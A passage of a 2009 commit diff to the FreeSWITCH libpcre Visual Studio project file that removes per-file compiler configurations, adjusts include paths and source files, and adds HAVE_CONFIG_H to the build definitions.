-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_globals.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_info.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_maketables.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_ord2utf8.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_refcount.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_study.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_tables.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_try_flipped.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
+				RelativePath="..\..\pcre\pcre_newline.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\pcre\pcre_ucd.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\pcre\pcre_ucp_searchfuncs.c"
 				>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_valid_utf8.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_version.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_xclass.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
-			<File
-				RelativePath="..\..\pcre\pcreposix.c"
-				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-			</File>
 		</Filter>
 		<Filter
 			Name="Header Files"

Modified: freeswitch/branches/seven/libs/win32/pcre/libpcre.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/pcre/libpcre.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/pcre/libpcre.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -51,8 +51,8 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="./"
-				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;PCRE_STATIC"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;PCRE_STATIC;HAVE_CONFIG_H"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -137,8 +137,8 @@
 				Name="VCCLCompilerTool"
 				Optimization="2"
 				InlineFunctionExpansion="1"
-				AdditionalIncludeDirectories="./"
-				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;PCRE_STATIC"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;PCRE_STATIC;HAVE_CONFIG_H"
 				StringPooling="true"
 				RuntimeLibrary="2"
 				EnableFunctionLevelLinking="true"
@@ -221,8 +221,8 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="./"
-				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;DLL_EXPORT"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;DLL_EXPORT;HAVE_CONFIG_H"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -323,8 +323,8 @@
 				Name="VCCLCompilerTool"
 				Optimization="2"
 				InlineFunctionExpansion="1"
-				AdditionalIncludeDirectories="./"
-				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;DLL_EXPORT"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;DLL_EXPORT;HAVE_CONFIG_H"
 				StringPooling="true"
 				RuntimeLibrary="2"
 				EnableFunctionLevelLinking="true"
@@ -404,686 +404,82 @@
 			<File
 				RelativePath="..\..\pcre\pcre_config.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_dfa_exec.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
